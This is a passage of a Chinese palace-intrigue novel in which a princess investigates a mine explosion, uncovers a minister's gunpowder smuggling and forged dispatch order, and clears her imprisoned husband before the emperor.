朝宁担心她的父皇是否可以承受住这个事实,却又不知为何会想到贺砚知...
她想,矿山一事一直交于杜仕远管辖,而他贺砚知不过就是一个文臣罢了,应该无碍...
朝宁继续吩咐道,“让人盯着宫里的消息,一有消息立马通知我!另外...再派去人盯着摩什…不能让他离开驿馆半步。”
-
金銮大殿上,贺砚知和杜仕远跪在地上,一旁站着太子朝珩,高台上的朝渊不过几日,头上的青丝已尽数霜白,眼窝深陷,仿佛一夜之间又苍老了好几岁,明明还处在淑妃有孕的喜悦中,可郊西的矿山却炸了!
已到第二日辰时,执金吾已经有人回京报告情况,矿山那处死伤惨重,火势更是蔓延到附近树林,得幸于发现及时,才将火势控制住,但是所有矿洞已经坍塌,工人、士兵全部遇难。
殿中一片死寂,没人敢承受皇帝的怒意。
朝渊狠戾的眼神扫过堂下众人,“说!到底怎么回事!都给朕说清楚!”他枯瘦的手指死死攥着龙椅的扶手,尽量压制住自己的情绪,维持着帝王的尊严。
杜仕远跪在地上,没有往日老臣的狂傲,晨曦刚刚撒进殿中,能看清他额头上的汗珠,“陛下!郊西虽是臣管辖,可这些年从未出现任何纰漏啊。”
“仕远,朕记得你是两朝元老吧。”朝渊声音平缓却又不带一丝温度。
“陛下!老臣为大夏尽忠四十年,自知矿山的重要性,从不敢懈怠...”
朝渊紧握的手霎时松开,将案上所有的奏折全都滑落在地,砸在冰凉的瓷砖上发出清脆刺耳的声响。
“不敢懈怠?朕如此信任你,将这矿山交予你打理,这便是你回报的信任!”朝渊猛地站起身,目光怒斥着堂下人,李钦赶忙上前扶住朝渊那摇摇欲坠的身子。
“父皇息怒!”朝珩趋步进言,“矿山日夜巡查皆有定例,突发爆炸必有蹊跷。儿臣请旨彻查所有账目工录,方能查明真相。”目光若有似无扫过杜仕远战栗的脊背。
朝渊看向看自己儿子,眼底厉色稍缓。
皇帝又将目光停留在跪着的贺砚知,从入殿开始,他始终未言一句。
在这等事发生后,朝渊越发觉得,贺砚知更慎重可靠些,语气缓了几分,“砚知,你有何看法?起来回话。”
杜仕远微微颔首,袖中指节已攥得发白。
贺砚知听旨起身,他身上还穿着昨晚出来时那件单薄的白衣,那件青色大氅则被梁蔗放在马车里,他的病气未散,此刻更显得温润儒雅书生气,“回陛下话,臣以为矿山屹立于我朝百年,勘探都极为小心,若是能造成如此大的伤害,只能有一个问题-火药。”
跪着的杜仕远骤然抬头,额头汗珠更多,声音带着几分哽咽急切,“陛下,老臣绝不敢欺瞒,每日矿山开采进度和工部军器局所产的火药质量以及账目都由老臣一人核对,从不敢假手他人,老臣愿以全家性命担保。”
贺砚知无视了言辞真切的杜仕远继续道,“陛下,微臣阅览书籍,虽不懂矿山勘探,却也知晓一二,近日并无雷电天气,不属天灾,可是又造成整个矿山坍塌,威力之大,必属火药。”
杜仕远忍无可忍,“贺砚知!你别欺人太甚,在陛下面前指摘是我动了火药,火药乃国家重器更有工部管理,何时轮到你这黄口小儿在陛下面前满口胡言!”
“杜仕远!好个黄口小儿!如今那矿山之罪,朕还未找你算账,你倒是来了能耐,是朕让他开口说话,是在说朕的不是吗!”朝渊猛拍龙岸,怒火的声音回荡在整个金銮殿。
“臣不敢!臣不敢啊!”杜仕远跪地俯拜,言辞悲切,“老臣,为官四十载,忠于国家、更忠于陛下,行得正坐得端,怎能容忍他人污蔑于臣啊...”
贺砚知淡漠的脸上微微皱起眉头,又显无辜,“左相何所言呀?砚知不过是为陛下分忧解答,也从未提及火药与左相有关。”
朝珩开口道,“左相莫急,只是在调查事故原因,并未将罪责全推到个人身上。”
杜仕远低垂着湿润的双眼带着杀意,火药、铁矿这条路做得滴水不漏,连所谓工部都在他的掌控下,矿山塌就塌,可绝对不能查到有问题的火药!
“陛下,老臣自知百口莫辩,但为解陛下困惑,也为了老臣的清白!老臣请陛下召见工部侍郎及执金吾为臣正名。”
朝渊情绪波动过大,此刻他强撑着身子坐回龙椅,“招宋朝贵、柳韦。”
圣旨下去,半个时辰后,工部侍郎宋朝贵、执金吾柳韦到了殿前,手里呈着一份厚重的书卷。
“臣参见陛下
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!”
工部侍郎宋朝贵自入殿起便惴惴不安,目光不时瞥向跪伏在地的杜仕远,却在柳韦阴冷的注视下慌忙收回视线。
“回陛下,这是近一年中火药的生产和调度情况!”
李钦将书卷呈到御前,朝渊翻动,从年初开始的火药的生产数量以及调度情况确实是分明。
可是这书卷整一寸高,若是查验却要废上几日。
“珩儿,仔细查验上面每一笔账,再去军器局检查火药质量。”
“儿臣遵旨!”
杜仕远的表情有些割裂,心中不断盘算,这位太子殿下虽然是他的女婿,却半点不通人情,更是不好糊弄,但他笃定工部呈上去的便是假账目,只要将军器局火药质量正常,一切都好办了。
“陛下!”
在所有人出其不意下,柳韦突然跪在地上,神色惶恐难安。
“陛下!臣有一事要禀报!只是本不应该在此时禀报,可臣见矿山惨状实在不敢欺瞒。”
朝渊已接近不耐烦,“说!究竟何事!”
柳韦战战兢兢抬头,目光在贺砚知身上飞快掠过,“陛下容禀,上月初八,执金吾曾经收到调令,护送一批火药到矿山,臣没有记错,这是矿山出事前最后一批,此事账册可查,宋大人亦能作证。只是...”
他喉头滚动,表情中似乎又下了好大决心,“当日护送火药的执金吾所言,那日护送火药交接的却是右相的人。”
整个朝堂一片哗然,所有的目光都落到了贺砚知的身上。
宋朝贵连忙叩首接话,“微臣记得,往日调令皆由左相亲笔签发。但那日来的却是个陌生侍卫,所持文书上...盖的是...右相的章印...”
他深吸一口气,继续道:“臣本不敢接,那侍卫却说左相奉旨出京办差,矿山急需火药,故由右相代行调令。臣派人去左相府中查证,左相确实不在府中,又不敢耽误矿山进度...这才...这才签了调令,让右相的侍卫将火药运出军器局。臣...臣罪该万死!”
宋朝贵从怀里颤颤巍巍地拿出一张叠纸,“陛下,这是当日调令,臣所说句句属实!”
杜仕远和柳韦对上眼神,杜仕远跪在地上声音越发表现悲切,“陛下!上月初八臣确实不在京中,但是老臣敢用性命保证当时矿上的火药足够,在短期之间根本不需要再调用火药啊!”
朝渊的脸色变得更加阴沉,连朝珩的目光中都透着不可思议,在所有人印象中,贺砚知素来与这等勾当毫不相干。
那张叠纸终是呈至御前,朝渊凝目细看——白纸黑字间,赫然是贺砚知那再熟悉不过的笔迹。这字迹他在御前侍奉多年,岂会错认?而纸尾处那方鲜红印鉴,分明就是右相印章。
朝渊将这张纸拍在案上,额角青筋暴起,胸口剧烈起伏着,攥着文书的手指节发白。
“贺砚知!你跟朕解释清楚!这是什么!”这一声怒喝,如同惊雷炸开整个金銮殿。
那双往日威严的眼睛此刻死死盯着贺砚知,愤怒中夹杂着一丝几乎不可发现的痛心!
-
夕阳西沉,朝宁坐在院子中呆呆地看着那棵桂花树,整整一下午了,贺砚知还未回来,宫里也没传出消息。
突然,院门被砰地一下打开,莲心跌跌撞撞地冲了进来,声音发颤,“殿下!不好了!出事了!”
朝宁的心被瞬间提起又揪紧,“出什么事了?”
“驸马!驸马被押到刑部大牢了!”
22. 斡旋
朝宁猛地起身,手里的茶碗摔了个满碎。
“他为何入狱?矿山跟他有什么关系?”
莲心顺着个口气,“殿下,宫里只传出来,说是一个什么调令,和驸马有关,还涉及到执金吾和工部侍郎。”
朝宁眉眼难藏怒意,“工部和执金吾全是那杜仕远的狗,上下通气。贺砚知那个傻子,就这么认下了?”
“据说驸马未曾辩驳,陛下震怒已命刑部彻查...”
朝宁只觉得脑袋更加胀痛,心中那股不祥预感,在这一瞬间放大。
她神情凝重地坐下,逼着自己稳下心神,现在这个时刻不能慌,否则贺砚知那傻子就只有死路一条。
她父皇虽然平时骄纵她,可是在这国家大事面前,若证据坐实,她也没办法救他。
“莲心,你拿着我的腰牌现在进宫,找李钦问清楚,今天殿中到底发生什么,那所谓的调令又是什么东西。”
莲心应下,一刻也不敢耽搁。
夜幕落下,梁蔗走进府门,门口烛光间站着一个人影,朝宁穿着那身嫣红的衣裳仿佛一个杀神。
梁蔗慢慢走进来,怀中还抱着今日早晨贺砚知穿着那个青色大氅。
“参见公主殿下。”
梁蔗蒙上一层冷汗,他当然知道公主到底在等谁。
朝宁烛火下的睫毛微动,带着一丝霜寒气,“说吧,到底怎么回事?”
梁蔗不知如何开口,僵在原地,但见朝宁伸手从梁蔗身上抢过那个青色的大氅。
“回,公主殿下,属下也不知晓,但肯定是他们联合一起坑害主子的。”
朝宁冷着脸道,“我能不知道他是冤枉的吗?就那一个弱书生他能干什么!”
梁蔗汗颜,他竟不知在公主眼中,他主子是这样个形象。
“我问你,平时贺砚知的章印都在哪?”
梁蔗答道,“主子一般在皇宫的偏殿处理政务,目前章印还在宫中。”
朝宁又问,“那是否有拿出皇宫?”
大夏臣子的章印,都是特殊定制,尤其贺砚知这种大官,一般人根本无法盗刻。
所谓调令,就算是朝宁不清楚今日发生什么,也知道若是想坐实贺砚知,上面必然会有这特殊的章印。
“这,属下不知,章印一般都是主子保管。”梁蔗的头都快埋在胳膊间,若要是跪着,恐怕下一刻都要贴在地上了。
朝宁心中没由头地烦闷,“那今日,工部宋朝贵和柳韦,何时到的宫门口?”
“午时左右。”
“他们是一起到的吗?”
梁蔗想了想道,“是。”
朝宁心中大致勾勒出事情原本,宋朝贵与柳韦分明是提前串供,进宫演这出双簧,既保全杜仕远,又将祸水引向贺砚知。
可问题所在,便是他们为何能这么快就准备好一张调令,像是早就知晓了昨夜矿山会被炸。
那矿山每年开采数目不小,其中的油水那杜仕远怎么可能不贪,但是为了嫁祸给贺砚知,失了一座矿山,杜仕远会这么傻吗?
梁蔗垂首不敢应声,却觉一道目光如刃落在头顶。
他微微抬头,正撞进朝宁亮得慑人的眸子。
“你家主子进去了,现在开始,你听我的,明白吗?”
梁蔗偷偷咽下口气,“全听殿下吩咐。”
“调动所有你能调动的,将杜府、工部、执金吾包括宋朝贵、柳韦的私宅,有任何风吹草动,必须向我汇报,除此之外,盯住刑部大牢。”
朝宁一口气吩咐下去,梁蔗甚至有种他主子的错觉,他心里不禁有些认可,“一个被窝睡不出两种人”这句话是真的。
梁蔗转头出府,朝宁松了口气,她抬头看着整个贺府,刚来时满院荒凉,半月时间,才有了隐隐花香和那棵茁壮的桂花树。
贺砚知无论如何要救出来。
莲心回来时,朝宁坐在昏暗案桌前,白纸上写着今日发生的经过。
她一五一十将宫中发生的事情,告诉了朝宁。
烛火下,睫毛轻扇,异常得冷静。
莲心忍不住开口,“殿下,您别忧思过度,驸马一身清白,定会没事的。”
朝宁摇摇头,“恐怕有人,不会让他清白的。”
她抓住了整个事情的重点,“账册现在何处?”
“李公公说,陛下将账册交到了太子殿下处,命太子殿下彻查此事。”
皇兄为人朝宁从不怀疑,定会秉公处理,可事情重大又不能贸然去太子府,惹其他不利的传闻。
不过,东西还是有办法拿到的。
“莲心,将我的夜行衣拿出来。”
莲心一下明白,公主到底要作何,忙道,“殿下,私闯太子府太危险了,您何苦...不如第二日去求太子殿下?”
“如果我明目张胆地去查,怕是要适得其反,半夜偷看个东西而已,小菜一碟。”
深夜,朝宁已然换上那套轻便的黑衣,偷偷接近太子府,朝宁小时总去找朝珩玩,他这个皇兄从不因为没有母妃跟嘲讽她,反而事事都想着她,这太子府的墙头,她不知爬了多少回。
她伏在墙边,太子府的书房灯已经熄了,但门口依旧是一波又一波的守卫,而且巡逻时间十分密集。
大约半个时辰内,朝宁摸清了他们巡逻的规律,在两边交汇时差中,她用轻功准确地落到书房门前。
偷偷摸摸进了书房,她走近案前,火折子微弱的灯光能照见,密密麻麻都是关于矿山的字眼。
那厚重的一卷,是矿山的账册,一笔一笔确实详细,她快速翻到了前一月的账册最后一次,上月初八。
朝宁忽然发现,里面夹杂着一张薄薄地折起来的黄纸。
打开,底角处殷红的章印如此显眼,上面签下的名字,正是贺砚知。
笔迹似乎和贺砚知的笔迹一模一样,以前,每次贺砚知弹劾她的折子,朝宁都会想办法弄到,然后故意当着贺砚知的面前烧掉。
她怎会认不出来。
露出的双眼暗了几分,的确是实打实的证据,看似一张简单的调令,但矿山爆炸若真与火药相关,下一步就要调查,贺砚知是否在那一批的火药中掺了假。
那张纸被她捏得变形,她想到了最重要的账册。
外面还有侍卫巡逻的声响,朝宁拿起桌上几本账册,靠在书房的一侧的帷幔后,慢慢翻阅,她隐隐觉得其中一定暗藏玄机。
火药的生产和调度情况登记在册,每半月火药生产一批量,大约都是在月中十六日产出,矿山每两月调动一次火药,调令时间在十六日后两天,调动的火药每次都占生产份额的两成。但是另一本从杜仕远手里拿到的账册,开采出来运往各地所需的矿产也在十六日前后。
她隐隐觉得不对,一个思绪突然窜到脑海里,产出的火药有一成顺着矿产海运中途再转运到他国,而消失的一成,则被加在了矿产所需用量中。
杜仕远掌管码头、工部、执金吾,自产自销,做得滴水不漏。
若不是矿山被炸,恐怕不会有人发现其中的纰漏。
可是一切都只是猜测,没办法构成证明,明细记录清晰,杜仕远若是
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一口咬定,时间巧合,也没有任何办法。
朝宁将账册放回原位,终究是不能带走。
她贴在门窗,听着外面的声音,巡逻的侍卫似乎少了不少,空隙时间更大了,朝宁趁机从太子府翻墙而出。
太子府内,长廊深处,两个人影站在原地,看着院墙的方向。
“殿下是如何知道颐宁公主今日必会翻进府内?”
朝珩露出一抹笑容,“颐宁平常看似什么也不在乎,但真要是在乎的东西,她费劲一切心思也会保护住。”
他想到那日从船上灰头土脸下来的两人,又笑出声来,“我这个妹妹,宝贝着她的驸马呢。”
-
杜府内。
地下跪着许多人头,一个茶杯狠狠摔在地上,碎瓷片崩了满地,甚至有的划伤了口子,但无一人敢言。
杜仕远虽未担责,但是心中依旧不顺心,白白失了一个矿山,断了多少财路。
“你!”
被指着的柳韦吓得一激灵,“叔父!矿山一直派人巡查,时时不敢纰漏,而且火药中掺杂的份量一直掌握得很好,此事...实在跟我无关啊!”
“无关?那你告诉我,矿山为什么会炸!”
地下的人跪坐一团,一句话也不敢言。
“相爷何必生这么大气?”
门外,一个穿着黑色的斗笠,浑身上下折得严实,斗笠掀开,正是摩什。
他大摇大摆地进了正厅,旁若无人地坐到了杜仕远的位置。
杜仕远生着气,现在见到摩什这么傲慢模样,真想一剑杀了他!
摩什迎着那怒气眼神,浮上一抹恶笑,愉快承认,“杜仕远,杜相爷,你那宝贝矿山是我炸的!”
这话一出,所有人心脏好像都被一瞬间攥紧,将头埋得更低,怕牵扯到自己身上!
“摩什!你到底要干什么!”杜仕远上前想拽住摩什的衣领,却被身侧的人揽剑挡住。
一时间两边人剑拔弩张。
“当然是给相爷一个警告,既然要合作,便要诚心,只是咱们这位左相大人合作之心怕是不太纯。”摩什的话直戳杜仕远的心。
杜仕远这些年,所贪下的火药悉数运到绥丹,摩什抓着杜仕远这个把柄,杜仕远城府颇深,心中不少小九九,而摩什手中他的把柄也不少,自然要给他教训。
摩什起身拍拍杜仕远的肩膀,“当然,本王子怎会不相救,相爷以为今日那封贺砚知的调令是如何来的?”
杜仕远看向地下的柳韦和宋朝贵,他们瑟瑟发抖,不敢言语。
这封调令和那番弹劾话语,都是进宫前,摩什派人交给他们俩人的。
杜仕远的眉眼缓和下来,摩什见状嗤笑一声,“相爷,不觉得这是个好礼物吗?没了贺砚知,你便是这大夏朝堂的天,而我,更能有接近大夏皇室机会,一举两得。”
“其中利害想必相爷心中有衡量,至于这件事解决的快与慢,全在相爷。”
摩什说完,将那斗笠重新盖上,出了门消失在夜色中...
第二日清晨,四更天左右回来的朝宁,辰时已经坐在书案前,整理昨夜的线索,翻阅火药相关书籍。
莲心站在卧房外,不敢进去,公主如此辛苦,身为侍女却又不知如何开口,矿山之事事关重大,恐怕没几日上面便要结果。
此事若是找不到真相,恐怕驸马就要定罪了。
朝宁推门而出,清晨的阳光依旧刺眼。
“殿下。”院门被推开,梁蔗手里拿着一个信封,“殿下,刑部的信,是主子交给您的。”
23. 矿山
那张发黄的信封,递到朝宁眼前时,眼底有些发酸。
她想,日光还是太刺眼了...
朝宁拆开纸封,里面叠着一张纸,纯白的纸上沾着灰。
熟悉的字体,“殿下放心,一切都好,不会让殿下守了寡。”
朝宁几乎能想象出那人写下这话时眉梢微挑的模样,她握住纸张的角,“哼,谁会担心他,若真让本公主守了寡...我定将他尸骨敲个粉碎,扔到河里!”
梁蔗和莲心站在一侧,均噎了一下,不敢言语。
将信收好,朝宁开口问向梁蔗,“我让你盯着,有什么动静了?”
“昨夜三更天左右,柳韦和宋朝贵偷偷进了杜府,还有些不大不小的官员,大约过了一个时辰,又悄悄从后门回去。”
朝宁想了想,又问道,“莲心,摩什那边什么情况?”
“回殿下,摩什所在驿馆两日均没有任何动静,也没有出去,也不见有人进去。”
朝宁冷哼一声,“恐怕,这馆中待着的已经不是摩什了。”
从前到后脉络,朝宁想了一夜,摩什在这故事中伴着一个不可或许的角色。现在边境诸国中,绥丹几年被西征重创后,没有几年便发展了如今的形势。
偷运到火药和武器绝对不少,能有如此本事的只有杜仕远,两人私下恐怕早有联系。
“那殿下下一步该如何?”梁蔗问道。
“既然摩什抓不到他,就不要管他了,若是真与他有关,恐怕能做的也只有这些了,如今盯紧杜仕远才是关键。”
梁蔗震惊于朝宁的聪明和布局能力,根本不是那跋扈惯了娇纵公主做派,他不得不承认对颐宁公主有些改观。
朝宁瞥了一眼梁蔗,“愣着干嘛呢?带人我们去矿山。”
“但,如今矿山都是执金吾的人。”
朝宁忽然轻笑,“你莫不是忘了本公主是谁?”那笑意未达眼底,“区区执金吾,也配拦我的路?”
贺砚知入狱后,贺府早成众矢之的。朝宁特意换了素锦马车,莲心捧着经卷随行,梁蔗执鞭扮作车夫。而安排好的暗卫提前散入山道,如夜枭悄无声息地守在矿场附近。
马车压过树林的断树枝,发出咔咔的响声,每一声脆响都让朝宁想起梦中火光冲天时的爆裂,她现在好像身处梦境中一步一步接近那火光处。
越近矿山,空气中焦糊味愈浓。这矿山不知压着多少亡魂,他们本是为了生活辛苦劳作的百姓,却死在了朝堂的阴谋之中。
马车停稳时,朝宁掀帘望去。昔日巍峨矿山已坍成遍地狼藉,执金吾的黑甲侍卫如乌鸦般围成密不透风的圈。
朝宁命莲心留守马车,带着梁蔗与暗卫走向矿山废墟。
执金吾侍卫立即横剑阻拦:“来人止步!”
朝宁无视,一步一步上前,“你确定要拦我?”
待看清来人面容,侍卫慌忙收剑行礼:“参见公主殿下!”
“本宫要进去。”
守卫有些为难,叫来了执金吾的副统领,目前负责看住矿山的孙忠。
“殿下,陛下有令不许任何人靠近!请殿下莫要为难臣等。”
朝宁唇角浮起冷弧:“此案已交太子皇兄督办,本宫正是奉东宫令前来勘查。”她向前逼近一步,“孙统领让不让?”
孙忠此人虽然不比柳韦那般阴险狡诈,但也不过是趋于杜仕远的小人罢了。
“殿下,此事事关重大,恕臣没办法让开。”
朝宁微眯着眼睛,露出一抹笑来,“你确定?”
执金吾依旧横戟阻拦,不让他们进去。
她倏然反手抽出梁蔗腰间佩剑,寒光直指孙忠,“本公主行事一向如此,不喜欢什么规矩,刚刚已经给过孙统领面子,既如此...”
寒光乍闪间,两柄执金吾佩剑铿然坠地。朝宁腕转轻旋,两人的头盔全被轻松打落在地,若是再来一剑,恐怕落下来的就是头了。
梁蔗跟在身后手疾眼快,将那两人一人一拳摔在地上,而朝宁手中的剑已经停在了孙忠的喉咙前。
再快一瞬,一剑封喉。
“孙统领?现在还放行吗?如若你还拦着,本公主保证,明日你这个位子一定不是你,而你...”她歪了一点头,“一定活不了。”
朝宁的风格从来如此,京城向来也如此传她,就说那次为了完全救出身在杀手组织的方沐,十几岁的朝宁杀进了原来的吏部侍郎家中,一刀劈下那为了组建杀手组织,强抢少男少女的侍郎儿子的胳膊。
孙忠喉结轻动,强扯出笑,“殿下,殿下...刚刚是臣的错!您随便查!慢慢查!”
朝宁收回剑扔到梁蔗怀里,大步走向坍塌的矿洞附近。
既然火药有假,那现场必定有蛛丝马迹,能证明这场爆炸就是因为工部调到矿山的火药有问题,如果真的有一成火药被送出国,那么为了维持该有的重量数目,矿山的火药一定不是纯正的火药。
朝宁低声跟梁蔗道,“让人盯着孙忠和执金吾,不许他们贴近一步。”
矿洞废墟中散落着各种碎石,昨夜朝宁查了许多关于火药的书籍,若是火药不纯含有其他成分,掌握不好量度,就会引发爆炸,若是大批量的火药都是如此,足以毁掉一个矿山。
她带着所有人勘察废墟的石头上,果然在整个矿山的西侧,那个爆炸最开始的地方,岩壁密布蜂窝状孔洞,形如虫蛀。
在朝宁蹲身抚摸石壁那些孔洞时,指尖突然沾着几粒黏腻的银白色的碎屑。她迅速抽出头上的银簪在石壁上反复刮擦,越来越多银色的颗粒,她的眼中闪出光亮,“梁蔗,拿水来!”
矿山临近一条河,一盆河水下去。
水泼溅的刹那,碎屑骤然腾起细密气泡,表层泛起幽蓝色磷光,在白天微微可见。
果然如此,朝宁下令将四周都泼满水,全都产生同样效果。
她昨夜通读,若火药掺入磷粉遇潮气自燃,其爆威可增三成。
朝宁将视线放在孙忠的身上,他正望着这边,看身形有些局促,果然,封锁矿山很大概率是为掩盖火药掺假的证据,给足他们处理的时间!
朝宁喊来梁蔗,低声问道,“你带来的人身手怎么样?”
梁蔗想了一下,“都是府内,武功不差的侍卫,与我不分上下。”
朝宁大致数了一下,十几个,“你想不想救你家主子?”
梁蔗愣了一下,又使劲点头。
“那好,给你个任务,将那个孙忠的给我绑了,你带来的人再加上外面的十几个暗卫,将目前在矿山的所有执金吾控制住,做得到吗?”
梁蔗得令,抱拳应下。
孙忠刚想派人回京通知,却见颐宁公主带着那十几个侍卫,各个凶神恶煞,朝着他这边走过来。
“你!你们要干什么!我是执金吾的!你们要做什么?”孙忠握紧手里的剑,忐忑不安。
“绑了!”朝宁一身令下,几个人上下起手,没费什么力气,便将孙忠捆了起来。
朝宁倏然吹响玉哨,突然间各个地方穿出来了不少人,加上梁蔗的人,将在矿山的所有执金吾捆了起来,没费多大力气。
“大名鼎鼎的执
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金吾,落到了杜仕远的手里,竟然如此不堪。”
孙忠在泥尘中挣扎嘶吼:“我乃朝廷钦命副统领!纵是公主亦不可私刑相加!”
朝宁倏然俯身逼近,惊世容颜落在孙忠眼里更像是一个鬼魅。
孙忠呼吸骤窒的刹那,她已扣住他下颌,指节发力如铁钳,再进分毫便是骨裂之声!
“执金吾副统领,好大的官职啊!本公主给你个活命的机会,告诉我从工部运出到矿山的火药的下落。”
杜仕远还没胆在工部库房作案,负责运输的是执金吾,将火药送到一个地方,再换上了次品的火药实现偷梁换柱。
孙忠的眼神闪过一丝震惊,而朝宁捕捉到了。
“不知道!我不知道!你绑了我们,我们是朝廷命....啊!”孙忠还没说完,下巴就咔吧一声被朝宁脱了位。
朝宁把玩着银簪俯身而下,簪尖在日光下划出冷冽弧光,下一刻银簪握手朝孙忠的眼睛刺去。
孙忠吓得直发抖,眼泪使劲往外涌,想象到的刺痛感,没落到身上,却也如同将他的心脏挖出来一样。
朝宁声音阴森森地,“再不说,我便将这个簪子刺进这里,然后再刺穿这一边。”簪子来回在他们眼前晃悠,“最后,挖开你的心脏,祭奠一下死在这里的所有工人。”
梁蔗站着也被说得发毛,他好像真的在公主身上看到了他主子的身影,一样狠厉!
“肯说了吗?”
孙忠涕泪横流,喉间发出破碎呜咽,拼命颔首。
朝宁又一下,将脱臼的下巴安了回去。
“从工部军器所运出的火药...先会被送到,五里外的一个山洞,会有人专门的人...等在那里,将好的火药...换成次品...”
“我再问你,次品火药从哪来的?”
孙忠哭得已经不成样子,拼命摇头,“不知...不知道...”
朝宁眼神暗了几分,孙忠这句话不想撒谎,不过如今证明贺砚知清白主要,剩下的便要交给皇兄调查了。
她站起身,问后面的莲心,“都记下了吗?”
莲心点头,将那张记录的纸拿到了孙忠的面前,朝宁将银簪刺破了孙忠的手指,带血的指印落到了纸张上。
“孙统领,这算是你签字画押了,等到水落石出,念你第一个承认,会留你一个全尸。”朝宁收起那张纸,头也不会离开。
梁蔗选了一个靠得住的人,领着其他人在矿山附近看着,朝宁又派人回京,通知朝珩,一部分人跟着马车,朝宁他们按照孙忠的指示,果然在茂密的林子中发现了一个隐藏的山洞。
山洞很大,里面全是被换下来的火药,堆积成山,而后面还堆着各式各样的武器,都是大夏最开始自己研究产出的武器,恐怕因为中秋前后使臣进京,码头船舶多,这些火药才未被及时送出去。
朝宁心情复杂,她又想起了那亡国的梦境,或许和亲不是一切悲剧的开始,大夏两朝元老,却能为了利益干出倒卖军器给敌国的荒唐事。
朝宁捏紧的手发出咔咔响声,这些该死的蛀虫就应该除掉,才是守国关键。
马车驶离,朝宁在车上沉着脸,气氛凝重。
“殿下,如今真相大白,驸马定会无恙的,您这些日子太累了....”莲心出声安慰。
朝宁叹了口气,靠在车壁上,点了点头。
车驾刚停贺府门前,还未来得及下车,便见家仆连滚带爬扑到车前。
“不好了!殿下不好了!刚刚有刑部的人送信来!说大人被用了重刑!而且伤,伤得很重!”
25. 对峙
话毕,所有人的目光全落在了朝宁的身上。
她的睫毛上还挂着刚才哭过的泪珠,显得如此楚楚可怜,朝渊看着她,总会想起她母妃,又常怀着愧疚,“颐宁,起来回话吧。”
朝宁缓缓站起,素手轻抚袖口:“左相说的是那封被伪造出来的调令吗?”
杜仕远示弱的眼神里带着狠意,“公主可不能为了驸马,平白诬陷他人,那上面的印章分明是特质的,包括他的字迹何人能模仿得了?”
“确实难仿。”朝宁唇角忽漾笑意,“可若是...偷天换日呢?”
朝渊皱起眉头,问道:“颐宁,你说的是何意?”
朝宁回过身,从怀里掏出了一张纸,似乎和那日呈到御前的是同一样。
她缓缓展开叠好的纸张,“此乃驸马被押当日,儿臣觉蹊跷几番查证,找到了这张相同的调令。巧合的是日期也是上月初八。”
朝珩朝珩适时上前接过那张纸,仔细打量,“父皇,儿臣看过几遍那张调令的纸张,的确和之前的笔迹,甚至印章的位置都差不多,只是…这张是关于从内务府向上书房分发笔墨的请批文书。”
朝珩将上次那张关于火药的调令和今日朝宁带来的调令,一起交给了李钦,又呈到了朝渊的眼前。
上面的位置都大差不差,只是开头到底调令了什么的区别。
杜仕远包括地上工部的宋朝贵都心里有些打怵,这东西是摩什拿出来的,宋朝贵当日临摹出贺砚知笔记,确定印章后就交到了皇帝面前。
可又不知道从何而来,为今之计,只能一口咬死。
朝渊表情严肃,“这到底是怎么回事?”
“父皇,儿臣今日也是为了还驸马清白而来,可允许证人进殿?”
“准!”
大殿上,两个小太监有些惶恐地走进来,跪在地上。
“说吧!”朝渊的声音回荡在殿中。
其中一个微微颔首,“启禀陛下,奴才是御膳房当职,上月初八当天,因右相大人说最近风寒嗓子疼,嘱咐想要一碗梨汤。奴才奉命送到时,大人正在办公,但奴才一时手滑,将汤洒在了桌上,润湿了当时大人正写着的纸上。”
朝渊将视线放在另一个奴才身上,“那你呢?”
“禀陛下,奴才在上书房当职,上月笔墨不足,奴才来请右相大人向内务府批准笔墨,可当日奴才疏忽,大人问起,才想起忘了笔墨的具体数量,奴才记得大人已经将调令写好,吩咐奴才回去确认好数量再来。等奴才回来时,确实看到送来的汤洒在了写好的纸张,所以大人又重新写了一份。”
“父皇,当日情形基本清晰,驸马身边护卫以及当日内务府和御膳房的记载都可验证。父皇可见作假的那张纸上,也有水干后皱起的痕迹。”
朝宁转眼就看向杜仕远,颇有意味,“所以,那旧了那张,自然可被有人之人利用。”
杜仕远紧咬着后槽牙,一边却要稳住面上,“陛下!不可听信几个奴才的话啊,上面的每个字,包括调令火药的几个字,都出自贺砚知的手笔!无法抵赖的!”
“哦?是这样吗?”朝宁等到他自己往坑里跳,“父皇,儿臣所知驸马写“调”这个字时,会将右半的“周”字里面的口少写最下面的一横,直接连笔收口,所有的“口”字都是一样,父皇可看,两张中关于“调”字是否有不同?”
朝渊靠近仔细比对,确实那张关于火药的调令的“口”字写的工工整整,在下笔时会补上下面一横,除这个区别外,几乎字体完全一致,若非仔细查看,发现不了其中区别。
“贺砚知在朝中多年,别有用心的人想模仿字迹不是难事,而那份被废掉的文书究竟为何落到了其他人手中,却时隔一月又出现在了矿山爆炸之后,是否这场爆炸就是蓄谋已久!”朝宁的话直戳重点,又将这话题引回到了矿山爆炸。
朝渊阴沉着脸,声音带着冰冷的威严。事到如今,谁是谁非已是一目了然,“杜仕远,你还有话要说吗?”
“陛下!您要相信老臣啊!矿山出事后,臣连夜进宫,根本没有时间谋划这些啊!臣实在无辜啊!”
朝珩又出口,“儿臣记得,这信是工部宋侍郎呈上来的,还有柳统领一口咬死是右相派人接手的火药。”
宋朝贵已经冷汗直流,那封伪造的字迹出自于他的手,他自认为模仿贺砚知的字迹已经炉火纯青,可是偏偏没有看出这个“口”字的区别。
“陛下!臣也不知...这信的确...”他哭得撕心裂肺,拼命地想证明清白。
朝宁轻飘飘地道,“父皇,不如将宋大人的字拿出来,比对比对。
宋朝贵脸色青白,哭得多了,头已经嗡嗡直响,他当然知道为什么柳韦会站出来承认所有事,他们所有家人的命全都被杜仕远掌控着,从上了这艘船后,根本就无法摆脱。
他深吸了一口气,头重重磕在地上,“臣承认一切都是臣所为,那封调令也出自我手,与柳韦一起勾结...妄图冤枉右相。”
杜仕远低着头算是松了口气,他们认下就不怕将祸水引到他的头上,无论怎么闹,他仍然是不可撼动的左相,就算是皇帝也不能轻易动他。
朝渊出奇地冷静,“将宋朝贵、柳韦、孙忠一起关入大牢,查清罪证,择日斩首。”随后,三个人面如死灰地被拖了出去。
杜仕远佯装虚弱,“陛下,都是老臣疏忽,才造成今日的祸事,请陛下责罚。”
朝渊犹豫一会儿道,“那朕就罚你扣掉今年的俸禄,后续矿山和执金吾的事都交给贺砚知负责。刑部监察不利,罚半年俸禄。”
“老臣谢陛下开恩。”
“父皇!驸马受伤皆拜左相所赐,儿臣自然想为驸马讨个公道。”朝宁丝毫不退让。
朝渊对待朝宁的语气稍缓,“颐宁想如何处理?”
